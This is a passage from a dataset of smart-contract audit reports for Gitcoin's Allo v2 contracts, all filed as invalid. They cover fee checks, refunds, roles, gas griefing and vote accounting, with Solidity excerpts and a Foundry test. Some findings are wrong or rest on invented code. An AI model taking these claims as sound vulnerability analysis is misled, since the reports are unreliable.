Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L284\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L306\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L415\n## Tool used\n\nManual Review\n\n## Recommendation\n\n Add ``Timelock`` function for users having member role to stop creating pool immediately.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/158.md"}} +{"title":"Gas grief possible on unsafe external calls","severity":"info","body":"Cool Leather Leopard\n\nmedium\n\n# Gas grief possible on unsafe external calls\nGas grief possible on unsafe external calls\n\n## Vulnerability Detail\nIn Solidity, the use of low-level `call` methods can expose contracts to gas griefing attacks. The potential problem arises when the callee contract returns a large amount of data. This data is allocated in the memory of the calling contract, which pays for the gas costs. If the callee contract intentionally returns an enormous amount of data, the gas costs can skyrocket, causing the transaction to fail due to an Out of Gas error. Therefore, it's advisable to limit the use of `call` when interacting with untrusted contracts, or ensure that the callee's returned data size is capped or known in advance to prevent unexpected high gas costs. \nNow `(bool success, )` is actually the same as writing `(bool success, bytes memory data)` which basically means that even though the data is omitted it doesn't mean that the contract does not handle it. Actually, the way it works is the `bytes data` that was returned from the receiver will be copied to memory. Memory allocation becomes very costly if the payload is big\n\n## Impact\nlost of gas fees\n\n## Code Snippet\n\n```solidity\n\n function execute(address _target, uint256 _value, bytes memory _data) external returns (bytes memory) {\n // Check if the caller is the owner of the profile and revert if not\n if (!registry.isOwnerOfProfile(profileId, msg.sender)) revert UNAUTHORIZED();\n\n // Check if the target address is the zero address and revert if it is\n if (_target == address(0)) revert CALL_FAILED();\n\n // Call the target address and return the data\n (bool success, bytes memory data) = _target.call{value: _value}(_data);\n\n // Check if the call was successful and revert if not\n if (!success) revert CALL_FAILED();\n\n return data;\n }\n\n```\n\n[Link](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Anchor.sol#L70C1-L84C6)\n\n## Tool used\nManual Review\n\n## Recommendation\n it's advisable to limit the use of `call` when interacting with untrusted contracts, or ensure that the callee's returned data size is capped or known in advance to prevent unexpected high gas costs.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/156.md"}} +{"title":"The owner of the profile should be able to take back the ownership of the pool created by the removed member.","severity":"info","body":"Clever Metal Giraffe\n\nmedium\n\n# The owner of the profile should be able to take back the ownership of the pool created by the removed member.\n\nMembers of profiles have the ability to create pools. And the creator of the pool is granted an admin role. The owner of the profile has the ability to remove the members. However, if the owner tries to remove a member who has created some pools, the owner cannot take back the ownership of those pools.\n\n## Vulnerability Detail\n\n`Allo._createPool` grants an admin role to the pool creator. And the pool creator could be the member of the profile.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L446\n```solidity\n function _createPool(\n bytes32 _profileId,\n IStrategy _strategy,\n bytes memory _initStrategyData,\n address _token,\n uint256 _amount,\n Metadata memory _metadata,\n address[] memory _managers\n ) internal returns (uint256 poolId) {\n if (!registry.isOwnerOrMemberOfProfile(_profileId, msg.sender)) revert UNAUTHORIZED();\n\n ā€¦\n\n // Grant admin roles to the pool creator\n _grantRole(POOL_ADMIN_ROLE, msg.sender);\n\n ā€¦\n }\n```\n\nAnd the owner of the profile has the ability to remove members.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L306\n```solidity\n function removeMembers(bytes32 _profileId, address[] memory _members) external onlyProfileOwner(_profileId) {\n uint256 memberLength = _members.length;\n\n // Loop through the members and remove them from the profile by revoking the role\n for (uint256 i; i < memberLength;) {\n // Revoke the role from the member and emit the event for each member\n _revokeRole(_profileId, _members[i]);\n unchecked {\n ++i;\n }\n }\n }\n```\n\nBut the owner cannot take back the ownerships of the pools created by removed members.\n\n## Impact\n\nWhen the owner needs to remove the member, the removed member is not trusted anymore. It is dangerous that the removed member still has the ownership of the pools.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L446\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L306\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n`Allo._createPool` should implement a `changePoolAdmin` function that can only be called by the owner of the profile.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/155.md"}} +{"title":"Excess funds sent via `msg.value` not refunded","severity":"info","body":"Cool Leather Leopard\n\nmedium\n\n# Excess funds sent via `msg.value` not refunded\nExcess funds sent via `msg.value` not refunded\n\n## Vulnerability Detail\nThe code below allows the caller to provide Ether, but does not refund the amount in excess of what's required, leaving funds stranded in the contract. The condition should be changed to check for equality, or the code should refund the excess.\n\n## Impact\nUsers funds could be lost\n\n## Code Snippet\n\n```solidity\n\n function _createPool(\n bytes32 _profileId,\n IStrategy _strategy,\n bytes memory _initStrategyData,\n address _token,\n uint256 _amount,\n Metadata memory _metadata,\n address[] memory _managers\n ) internal returns (uint256 poolId) {\n if (!registry.isOwnerOrMemberOfProfile(_profileId, msg.sender)) revert UNAUTHORIZED();\n\n poolId = ++_poolIndex;\n\n // Generate the manager & admin roles for the pool (this is the way we do this throughout the protocol for consistency)\n bytes32 POOL_MANAGER_ROLE = bytes32(poolId);\n bytes32 POOL_ADMIN_ROLE = keccak256(abi.encodePacked(poolId, \"admin\"));\n\n // Create the Pool instance\n Pool memory pool = Pool({\n profileId: _profileId,\n strategy: _strategy,\n metadata: _metadata,\n token: _token,\n managerRole: POOL_MANAGER_ROLE,\n adminRole: POOL_ADMIN_ROLE\n });\n\n // Add the pool to the mapping of created pools\n pools[poolId] = pool;\n\n // Grant admin roles to the pool creator\n _grantRole(POOL_ADMIN_ROLE, msg.sender);\n\n // Set admin role for POOL_MANAGER_ROLE\n _setRoleAdmin(POOL_MANAGER_ROLE, POOL_ADMIN_ROLE);\n\n // initialize strategies\n // Initialization is expected to revert when invoked more than once with 'ALREADY_INITIALIZED()' error\n _strategy.initialize(poolId, _initStrategyData);\n\n if (_strategy.getPoolId() != poolId || address(_strategy.getAllo()) != address(this)) revert MISMATCH();\n\n // grant pool managers roles\n uint256 managersLength = _managers.length;\n for (uint256 i; i < managersLength;) {\n address manager = _managers[i];\n if (manager == address(0)) revert ZERO_ADDRESS();\n\n _grantRole(POOL_MANAGER_ROLE, manager);\n unchecked {\n ++i;\n }\n }\n\n if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n\n if (_amount > 0) {\n _fundPool(_amount, poolId, _strategy);\n }\n\n emit PoolCreated(poolId, _profileId, _strategy, _token, _amount, _metadata);\n }\n\n\n```\n[github link](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L415-L485)\n\n## Tool used\nManual Review\n\n## Recommendation\nWrite a function that can refund the exceeded msg.value sent to the contract.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/154.md"}} +{"title":"Incorrect fund verification in the `_createPool` function","severity":"info","body":"Ambitious Brick Ladybug\n\nmedium\n\n# Incorrect fund verification in the `_createPool` function\nThe `_createPool` function in the Allo contract verify user-provided funds for both NATIVE and non-NATIVE token. However, the function incorrectly checks whether the user has sent the required funds and reverts when the exact required amount of funds is provided, even though such a scenario should be valid.\n\n## Vulnerability Detail\nFor the NATIVE token, the function checks if the sum of `baseFee` and `_amount` is greater than or equal to msg.value. For non-NATIVE tokens, it checks if `baseFee` is greater than or equal to msg.value. However, in both cases the function will mistakenly revert, even when the user provides the exact required amount.\n```solidity\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n```\n## Impact\nUsers will face excessive unexpected transaction failures, even if they send the exact required amount, which will lead to a loss of trust in the protocol due to a poor experience.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473-L474\n## Tool used\n\nManual Review\n\n## Recommendation\nEnsure that the function will accept transactions when users send the exact required amount, what can lead to \n```solidity\nif ((_token == NATIVE && (baseFee + _amount > msg.value)) || (_token != NATIVE && baseFee > msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/146.md"}} +{"title":"`_grantRole` will not triggered","severity":"info","body":"Cold Chocolate Cougar\n\nmedium\n\n# `_grantRole` will not triggered\nAllo._createPool is responsible for creating pools, firstly it validates if the calling user is the profile owner or not, than it increment the poolindex by 1 that is the poolId, after that it generates the `POOL_MANAGER_ROLE` and `POOL_ADMIN_ROLE` roles than it creates a pool instance by taking in certain parameters used in creating new pool, than it add the poolId to the mapping of created pools further it grants admin and manager roles than it calls to `initialize` function later it makes a check for poolId and strategy address validation next it assigns manager role to manager array.\n\n## Vulnerability Detail\nThe problem in this function is that, it do not move to next manager address if previous manager address found to be zero address,\n\n#Allo.sol#L457-L467\n```solidity\n // grant pool managers roles\n uint256 managersLength = _managers.length;\n for (uint256 i; i < managersLength;) {\n address manager = _managers[i];\n if (manager == address(0)) revert ZERO_ADDRESS();\n\n _grantRole(POOL_MANAGER_ROLE, manager);\n unchecked {\n ++i;\n }\n }\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L457C8-L467C10\n\nin the above for loop `if (manager == address(0))` gets to true revert will trigger without increment, which will leads to call the same manager index address again which points to zero address and again it will make a revert to happen Which shouldn't be the case instead it should increment the index, which on next line will grant `POOL_MANAGER_ROLE` to manager address if its not zero address.\n\n## Impact\n`_grantRole` will not triggered, which can lead to `POOL_MANAGER_ROLE` not set to any address therefore the operation which requires `POOL_MANAGER_ROLE` to execute will remain unexecute.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L457C8-L467C10\n\n## Tool used\nManual Review\n\n## Recommendation\nMake increment before validating the manager address.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/145.md"}} +{"title":"When creatingPool the user's funds may not be withdrawn","severity":"info","body":"Early Vinyl Mouse\n\nmedium\n\n# When creatingPool the user's funds may not be withdrawn\n\nWhen createPool creates a pool, if the funds sent by the user in msg.value exceed amount + baseFee, the excess funds will be used to purchase pizza.\n\n## Vulnerability Detail\n\nAlthough the docs say not to send funds directly to the Allo contract, when creating a pool, when the pool has `basefee`, the user must send funds to the allo contract, but if the user sends excess amount in `msg.value` , then part of the funds will be used to buy pizza. This is unreasonable and excess funds should be returned to users when the pool is created.\n\n```solidity\nfunction _createPool(\n bytes32 _profileId,\n IStrategy _strategy,\n bytes memory _initStrategyData,\n address _token,\n uint256 _amount,\n Metadata memory _metadata,\n address[] memory _managers\n ) internal returns (uint256 poolId) {\n ....\n \n if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n\n if (_amount > 0) {\n _fundPool(_amount, poolId, _strategy);\n }\n\n emit PoolCreated(poolId, _profileId, _strategy, _token, _amount, _metadata);\n \n \n }\n```\n\n\n\n## Impact\n\nAs a result, user funds cannot be withdrawn\n\n## poc\n\n\n\n```solidity\n function test_createPoolWithBaseFee() public {\n uint256 baseFee = 1e17;\n\n allo().updateBaseFee(baseFee);\n\n vm.expectEmit(true, false, false, true);\n emit BaseFeePaid(1, baseFee);\n\n vm.deal(address(pool_admin()), 1e18);\n\n vm.prank(pool_admin());\n console.log(\"before :%s\", address(allo()).balance);\n allo().createPoolWithCustomStrategy{value: 1e18}(\n poolProfile_id(),\n strategy,\n \"0x\",\n NATIVE,\n 0,\n metadata,\n pool_managers()\n );\n console.log(\"after :%s\", address(allo()).balance);\n }\n```\n\n```tex\n[ā ¢] Compiling...\n[ā ’] Compiling 1 files with 0.8.19\n[ā †] Solc 0.8.19 finished in 2.99s\nCompiler run successful!\n\nRunning 1 test for test/foundry/core/MyAllo.t.sol:AlloTest\n[PASS] test_createPoolWithBaseFee() (gas: 422362)\nLogs:\n before :0\n after :900000000000000000\n\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 11.27ms\n \nRan 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)\n```\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L469-L485\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nReturn the excess amount to the user.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/142.md"}} +{"title":"The valid operation to create pool is reverted.","severity":"info","body":"Hot Zinc Hippo\n\nmedium\n\n# The valid operation to create pool is reverted.\nThe valid request to create pool by transferring the amount same as `baseFee` is reverted.\n\n## Vulnerability Detail\nThe function `Allo.sol#_createPool` is following.\n```solidity\n function _createPool(\n bytes32 _profileId,\n IStrategy _strategy,\n bytes memory _initStrategyData,\n address _token,\n uint256 _amount,\n Metadata memory _metadata,\n address[] memory _managers\n ) internal returns (uint256 poolId) {\n if (!registry.isOwnerOrMemberOfProfile(_profileId, msg.sender)) revert UNAUTHORIZED();\n\n poolId = ++_poolIndex;\n\n // Generate the manager & admin roles for the pool (this is the way we do this throughout the protocol for consistency)\n bytes32 POOL_MANAGER_ROLE = bytes32(poolId);\n bytes32 POOL_ADMIN_ROLE = keccak256(abi.encodePacked(poolId, \"admin\"));\n\n // Create the Pool instance\n Pool memory pool = Pool({\n profileId: _profileId,\n strategy: _strategy,\n metadata: _metadata,\n token: _token,\n managerRole: POOL_MANAGER_ROLE,\n adminRole: POOL_ADMIN_ROLE\n });\n\n // Add the pool to the mapping of created pools\n pools[poolId] = pool;\n\n // Grant admin roles to the pool creator\n _grantRole(POOL_ADMIN_ROLE, msg.sender);\n\n // Set admin role for POOL_MANAGER_ROLE\n _setRoleAdmin(POOL_MANAGER_ROLE, POOL_ADMIN_ROLE);\n\n // initialize strategies\n // Initialization is expected to revert when invoked more than once with 'ALREADY_INITIALIZED()' error\n _strategy.initialize(poolId, _initStrategyData);\n\n if (_strategy.getPoolId() != poolId || address(_strategy.getAllo()) != address(this)) revert MISMATCH();\n\n // grant pool managers roles\n uint256 managersLength = _managers.length;\n for (uint256 i; i < managersLength;) {\n address manager = _managers[i];\n if (manager == address(0)) revert ZERO_ADDRESS();\n\n _grantRole(POOL_MANAGER_ROLE, manager);\n unchecked {\n ++i;\n }\n }\n\n if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n473 if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) { // error\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n\n if (_amount > 0) {\n _fundPool(_amount, poolId, _strategy);\n }\n\n emit PoolCreated(poolId, _profileId, _strategy, _token, _amount, _metadata);\n }\n```\nThe description in `Allo.sol#L50~54` shows that the contract creates pool with `baseFee` less than the amount passed by user.\nSo a user usually calls with `_amount` parameter equals to `msg.value - baseFee`.\nBut this call is reverted because `L473` used [>=].\n\n## Impact\nIf a user creates pool through `createPoolWithCustomStrategy` or `createPool`, transfers `eth` (msg.value) and sets `_amount` parameter to `msg.value - baseFee`, this call is reverted.\n\n## Code Snippet\n- https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473\n\n## Tool used\n\nManual Review\n\n## Recommendation\n`Allo.sol#L473` has to be modified to following. ([>=] => [>])\n```solidity\n if ((_token == NATIVE && (baseFee + _amount > msg.value)) || (_token != NATIVE && baseFee > msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/140.md"}} +{"title":"Missing Mechanism for Managing Strategy Funds","severity":"info","body":"Blunt Cerulean Hedgehog\n\nhigh\n\n# Missing Mechanism for Managing Strategy Funds\nThe issue revolves around funds that are allocated to the strategy contract but remain unutilized, potentially becoming permanently inaccessible. This problem arises due to the absence of a withdrawal mechanism, which poses a risk to users' funds.\n\n## Vulnerability Detail\nThe vulnerability arises from the absence of a withdrawal or utilization mechanism for funds assigned to the strategy contract. Specifically, the code in question allocates funds to the strategy contract but does not provide a way to withdraw or use these funds. Below is a simplified representation of the code snippet illustrating this issue:\n```solidity\n// This function assigns funds to the strategy contract but lacks withdrawal mechanism.\nfunction assignFundsToStrategy() external onlyOwner {\n uint256 amountAfterFee = calculateAmountAfterFee(msg.value);\n strategyContractAddress.transfer(amountAfterFee);\n}\n```\nIn this code, the `assignFundsToStrategy` function calculates an `amountAfterFee` and transfers it to the `strategyContractAddress`. However, once the funds are transferred, there's no provision for withdrawing or managing these funds, leaving them locked within the contract.\n## Impact\nThe absence of a withdrawal mechanism means that funds assigned to the strategy contract can become permanently inaccessible if any issues, bugs, or vulnerabilities in the contract code or its management are encountered. This poses a substantial risk to the security and usability of the funds involved.\n## Code Snippet\n(https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502-L520)\n## Tool used\n\nManual Review\n\n## Recommendation\nTo address this issue and mitigate the associated risks, it is crucial to implement a controlled mechanism for fund management within the strategy contract. One effective mitigation strategy is to add an \"Emergency Withdrawal\" mechanism. This mechanism allows the owner or a trusted party to withdraw funds from the strategy contract in case of emergencies or identified vulnerabilities. Here's a high-level example of what this mitigation might look like:\n\n```solidity\n// Implementing an Emergency Withdrawal mechanism.\nfunction emergencyWithdraw() external onlyOwner {\n require(isEmergencyModeEnabled, \"Emergency mode not enabled\");\n uint256 amountToWithdraw = balanceInStrategy(); // Implement this function to calculate the balance.\n msg.sender.transfer(amountToWithdraw);\n}\n\n```\nBy adding the `emergencyWithdraw` function, the contract owner can initiate fund withdrawals when necessary, providing a safety net for user funds and reducing the risk associated with the lack of a withdrawal mechanism. It's important to ensure that this mechanism is carefully designed, audited, and used only in genuine emergencies to maintain the security and integrity of the system.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/139.md"}} +{"title":"`baseFee` assumes every native tokens have same decimals","severity":"info","body":"Rural Spruce Goose\n\nmedium\n\n# `baseFee` assumes every native tokens have same decimals\nIn the Allo.sol, when creating a new pool, the `baseFee` is taken from the user. And if the token of the pool is `NATIVE`, then it will directly transfer the amount of `baseFee` into `treasury` without considering that NATIVE tokens may have different token decimals.\nThis will result in more/less fees are collected from the users, or even worse, if disable creating pools with in some chains.\n## Vulnerability Detail\nAccording to the docs and comments given by the dev, Allo supports \"All EVM compatible chains + Zkync Era\" and the native tokens are exactly \"The native token refers to ETH/Matic/..\"\nHowever, not every EVM compatible chains native tokens share the same decimals, for example ETH has 18, while [CRO](https://etherscan.io/address/0xa0b73e1ff0b80914ab6fe0444e65848c4c34450b#readContract) has 8 decimals. \nBut in the implementation of `baseFee`, they are treating the same:\n```solidity\n if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be <= than msg.value.\n // If _token is not NATIVE, then baseFee should be <= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n```\nIf `baseFee` is set according the ETH, then it will be relatively too much for the CRO. Result in creating the pool unaffordable with CRO.\n## Impact\nMismatch calculations for different token decimals, result in users loss or disability to create pools with certain tokens. \n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/Allo.sol#L469-L478\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd a decimal check for tokens used in Allo, and change the `baseFee` from exact amount to the relative percentage in functions used it.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/137.md"}} +{"title":"Allocated voice credits can exceed available voice credits for the allocator","severity":"info","body":"Blunt Cerulean Hedgehog\n\nmedium\n\n# Allocated voice credits can exceed available voice credits for the allocator\nThe `_qv_allocate` function within the provided contract allows for the allocation of voice credits to recipients. However, a vulnerability exists that can lead to inaccurate voice credit allocation. Specifically, the function calculates the allocation based on the total credits, including the amount to be allocated and the credits previously cast to the recipient. This can result in allocated voice credits exceeding the available voice credits for the allocator.\n## Vulnerability Detail\nThe `_qv_allocate` function is responsible for allocating voice credits to recipients. It involves the following code snippet:\n```solidity\nfunction _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n) internal onlyActiveAllocation {\n // ...\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // ...\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n\n // ...\n emit Allocated(_recipientId, voteResult, _sender);\n}\n\n```\nThe issue arises because `_voiceCreditsToAllocate` is added to the `creditsCastToRecipient` variable to calculate `totalCredits`. If `_voiceCreditsToAllocate` exceeds the available voice credits held by the allocator, it can lead to an incorrect calculation of `totalCredits` and, subsequently, the allocation of voice credits.\n## Impact\nThe impact of this vulnerability is that allocated voice credits can exceed the available voice credits for the allocator. This results in inaccurate voice credit allocations, potentially favoring some recipients unfairly and undermining the intended allocation process. It can also disrupt the balance of voice credits within the system.\n## Code Snippet\n(https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534)\n## Tool used\n\nManual Review\n\n## Recommendation\nA verification step should be added at the beginning of the `_qv_allocate` function. This step should check whether `_voiceCreditsToAllocate` exceeds the available voice credits for the allocator. If the allocation amount is greater than what the allocator has, the function should revert or take appropriate action to prevent the allocation from proceeding. This verification will help maintain the integrity and fairness of the voice credit allocation system.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/133.md"}} +{"title":"Inadequate Array Length Verification in `_distribute` Function","severity":"info","body":"Blunt Cerulean Hedgehog\n\nmedium\n\n# Inadequate Array Length Verification in `_distribute` Function\nThe `_distribute` function in the smart contract lacks explicit verification of the equality of array lengths between the payout array and the `_recipientIds` array. This oversight can potentially lead to unintended behavior or vulnerabilities if the arrays have different lengths.\n## Vulnerability Detail\nThe `_distribute` function is responsible for distributing payouts to recipients based on the provided payout array and `_recipientIds` array. However, it does not validate that the lengths of these two arrays are equal, which can introduce issues.\nHere is the relevant code snippet:\n```solidity\nuint256 payoutLength = _recipientIds.length;\nfor (uint256 i; i < payoutLength;) {\n address recipientId = _recipientIds[i];\n Recipient storage recipient = recipients[recipientId];\n\n PayoutSummary memory payout = _getPayout(recipientId, \"\");\n uint256 amount = payout.amount;\n\n if (paidOut[recipientId] || !_isAcceptedRecipient(recipientId) || amount == 0) {\n revert RECIPIENT_ERROR(recipientId);\n }\n\n // ... (payout logic)\n\n unchecked {\n ++i;\n }\n}\n\n```\nThe function assumes that the `payout` array and `_recipientIds` array have the same length, and it iterates through them in parallel. If the arrays have different lengths, this can lead to:\n## Impact\nThe potential impact of this issue is that the function may not work as expected. If the arrays have different lengths, the loop may not iterate over all elements in one of the arrays. This can result in some recipients not receiving their payouts as expected or receiving more payouts than intended. Additionally, it may allow for unintended behavior or reverts in certain scenarios.\n## Code Snippet\n(https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L436-L465)\n## Tool used\n\nManual Review\n\n## Recommendation\nIt is advisable to add explicit length verification before proceeding with the distribution of payouts.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/132.md"}} +{"title":"Payouts could be diluted by votes allocated to rejected recipients in `QV` strategies","severity":"info","body":"Glamorous Hazelnut Haddock\n\nmedium\n\n# Payouts could be diluted by votes allocated to rejected recipients in `QV` strategies\nPayouts are diluted by votes allocated to rejected recipients in `QV` strategies due to `totalRecipientVotes` also accounting for votes allocated to rejected recipients.\n\n## Vulnerability Detail\nAccepted recipients may be rejected by pool managers through `reviewRecipients` (potentially due to new information about their proposal/project), in which case they are ineligible to be distributed funds.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L254-L288\n```solidity\n function reviewRecipients(address[] calldata _recipientIds, Status[] calldata _recipientStatuses)\n external\n virtual\n onlyPoolManager(msg.sender)\n onlyActiveRegistration\n {\n ...\n for (uint256 i; i < recipientLength;) {\n ...\n if (reviewsByStatus[recipientId][recipientStatus] >= reviewThreshold) {\n Recipient storage recipient = recipients[recipientId];\n recipient.recipientStatus = recipientStatus;\n\n emit RecipientStatusUpdated(recipientId, recipientStatus, address(0));\n }\n ...\n }\n }\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L451-L453\n```solidity\n if (paidOut[recipientId] || !_isAcceptedRecipient(recipientId) || amount == 0) {\n revert RECIPIENT_ERROR(recipientId);\n }\n```\nThe issue is the votes allocated to them are not subtracted from `totalRecipientVotes`, which is used as the denominator for determining the payouts for accepted recipients in `_getPayout` (used in `_distribute`).\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L559-L574\n```solidity\n function _getPayout(address _recipientId, bytes memory)\n internal\n view\n virtual\n override\n returns (PayoutSummary memory)\n {\n Recipient memory recipient = recipients[_recipientId];\n\n // Calculate the payout amount based on the percentage of total votes\n uint256 amount;\n if (!paidOut[_recipientId] && totalRecipientVotes != 0) {\n amount = poolAmount * recipient.totalVotesReceived / totalRecipientVotes;\n }\n return PayoutSummary(recipient.recipientAddress, amount);\n }\n```\nConsequently, payouts received by accepted recipients would less than expected with excess amounts left in the pool (reserved for rejected recipients who can't be distributed to).\n\nNote that there is no recovery function for the `QV` strategies, so these funds would be locked. A pool manager would have to update the pool timestamps to enable active registration, after which the accepted recipients would have to have a member register again (to bypass the `paidOut` mapping) and more votes would have to be allocated to them to allow the pool manager to distribute funds to them. Otherwise, the rejected recipients would have to be accepted, and the funds distributed to them.\n\n## Impact\nAccepted recipients receive less funding than expected (and locked funds without going through an involved process to transfer them to the accepted receivers).\n\n## Code 